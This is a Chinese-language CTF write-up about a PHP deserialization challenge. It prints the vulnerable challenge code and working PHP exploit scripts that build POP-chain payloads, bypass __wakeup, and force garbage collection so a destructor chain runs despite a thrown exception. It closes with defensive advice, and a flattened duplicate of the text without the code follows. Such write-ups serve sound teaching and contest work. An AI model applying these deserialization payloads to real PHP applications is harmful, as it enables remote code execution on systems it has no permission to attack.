利用PHP垃圾回收机制构造POP链
字数 1197 2025-08-29 08:31:35

PHP垃圾回收机制与反序列化POP链构造详解

一、背景与问题描述

这是一个关于利用PHP垃圾回收机制构造POP链的技术分析,源自第四届浙江省赛的一道CTF题目。题目展示了如何通过PHP的反序列化漏洞和垃圾回收机制来执行任意代码。

二、题目代码分析

error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);

class Fun {
    private $func = 'call_user_func_array';
    public function __call($f, $p){
        call_user_func($this->func, $f, $p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test {
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f, $p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/", get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

三、常规解法分析

1. 目标

调用Test类的getFlag方法获取flag。

2. POP链构造思路

B → A → Fun → Test

3. 关键点

  • 通过B类的__destruct方法触发整个链
  • A类的__get方法在访问不可访问属性时触发
  • Fun类的__call方法可以调用任意函数
  • 需要绕过Fun类的__wakeup方法(通过修改属性数量)

4. 常规EXP

<?php
class Fun {
    private $func;
    public function __construct(){
        $this->func = [new Test, 'getFlag'];
    }
}

class Test {
    public function getFlag(){}
}

class A {
    public $a;
}

class B {
    public $p;
}

$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$r = serialize($b);
$r1 = str_replace('"Fun":1:', '"Fun":2:', $r);
echo urlencode($r1);

四、垃圾回收机制解法

1. 问题

常规解法中__destruct是隐式销毁触发的,但题目中throw new Exception会中断对象销毁。

2. PHP垃圾回收机制

旧GC(PHP5.3前)

  • 基于引用计数
  • 每个内存对象分配计数器
  • 变量引用时计数器+1,撤掉引用时-1
  • 计数器=0时销毁对象
  • 问题:循环引用导致内存泄漏

新GC

  • 使用zval变量容器
  • 包含"is_ref"(是否引用集合)和"refcount"(引用计数)
  • 垃圾回收算法检查数组和对象的循环引用

3. 触发垃圾回收的方法

  1. 手动调用gc_collect_cycles()
  2. 垃圾存储空间将满(默认10000个zval)

4. 反序列化中触发GC的原理

  • 反序列化允许重复传递相同索引
  • 不断填充空间导致旧元素引用计数器递减
  • 当zval被销毁时触发垃圾回收算法
  • 所有创建的数组开始填充垃圾缓冲区直至空间不足

5. 关键技术点

  • 利用ArrayObject的反序列化函数引用其他数组
  • 通过特定结构使引用计数器递减
  • 需要使引用计数器增加2后再递减3次

6. GC解法EXP

<?php
class B {
    public $p;
    public function __construct(){
        $this->a = new A();
    }
}

class A {
    public $a;
    public function __construct(){
        $this->a = new Fun();
    }
}

class Fun {
    private $func = 'call_user_func_array';
    public function __construct() {
        $this->func = "Test::getFlag";
    }
}

$o = array(new B, new B);
$a = serialize($o);
echo urlencode(str_replace('O:3:"Fun":1:', 'O:3:"Fun":2:', $a));

7. 优化版本

$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a = serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));

五、关键知识点总结

  1. POP链构造:通过一系列魔术方法的调用链实现代码执行
  2. __wakeup绕过:通过修改序列化字符串中的属性数量
  3. 垃圾回收触发
    • 填满垃圾存储空间(默认10000个zval)
    • 利用ArrayObject的反序列化特性
  4. 引用计数操作
    • 反序列化过程中创建引用会使计数器+2
    • 需要特定结构使计数器递减3次
  5. 异常处理:throw new Exception会中断正常对象销毁,需要强制GC

六、防御建议

  1. 避免反序列化用户输入
  2. 使用__wakeup进行安全检查
  3. 对敏感类实现Serializable接口进行更严格的控制
  4. 更新到最新PHP版本,利用其安全改进

七、参考资料

  1. Breaking PHP's Garbage Collection and Unserialize (原始英文资料)
  2. 如何攻破PHP的垃圾回收和反序列化机制(上)
  3. PHP官方文档关于垃圾回收和序列化的部分
PHP垃圾回收机制与反序列化POP链构造详解 一、背景与问题描述 这是一个关于利用PHP垃圾回收机制构造POP链的技术分析,源自第四届浙江省赛的一道CTF题目。题目展示了如何通过PHP的反序列化漏洞和垃圾回收机制来执行任意代码。 二、题目代码分析 三、常规解法分析 1. 目标 调用Test类的getFlag方法获取flag。 2. POP链构造思路 B → A → Fun → Test 3. 关键点 通过B类的 __destruct 方法触发整个链 A类的 __get 方法在访问不可访问属性时触发 Fun类的 __call 方法可以调用任意函数 需要绕过Fun类的 __wakeup 方法(通过修改属性数量) 4. 常规EXP 四、垃圾回收机制解法 1. 问题 常规解法中 __destruct 是隐式销毁触发的,但题目中 throw new Exception 会中断对象销毁。 2. PHP垃圾回收机制 旧GC(PHP5.3前) 基于引用计数 每个内存对象分配计数器 变量引用时计数器+1,撤掉引用时-1 计数器=0时销毁对象 问题:循环引用导致内存泄漏 新GC 使用zval变量容器 包含"is_ ref"(是否引用集合)和"refcount"(引用计数) 垃圾回收算法检查数组和对象的循环引用 3. 触发垃圾回收的方法 手动调用 gc_collect_cycles() 垃圾存储空间将满(默认10000个zval) 4. 反序列化中触发GC的原理 反序列化允许重复传递相同索引 不断填充空间导致旧元素引用计数器递减 当zval被销毁时触发垃圾回收算法 所有创建的数组开始填充垃圾缓冲区直至空间不足 5. 关键技术点 利用ArrayObject的反序列化函数引用其他数组 通过特定结构使引用计数器递减 需要使引用计数器增加2后再递减3次 6. GC解法EXP 7. 优化版本 五、关键知识点总结 POP链构造 :通过一系列魔术方法的调用链实现代码执行 __wakeup 绕过 :通过修改序列化字符串中的属性数量 垃圾回收触发 : 填满垃圾存储空间(默认10000个zval) 利用ArrayObject的反序列化特性 引用计数操作 : 反序列化过程中创建引用会使计数器+2 需要特定结构使计数器递减3次 异常处理 :throw new Exception会中断正常对象销毁,需要强制GC 六、防御建议 避免反序列化用户输入 使用 __wakeup 进行安全检查 对敏感类实现 Serializable 接口进行更严格的控制 更新到最新PHP版本,利用其安全改进 七、参考资料 Breaking PHP's Garbage Collection and Unserialize (原始英文资料) 如何攻破PHP的垃圾回收和反序列化机制(上) PHP官方文档关于垃圾回收和序列化的部分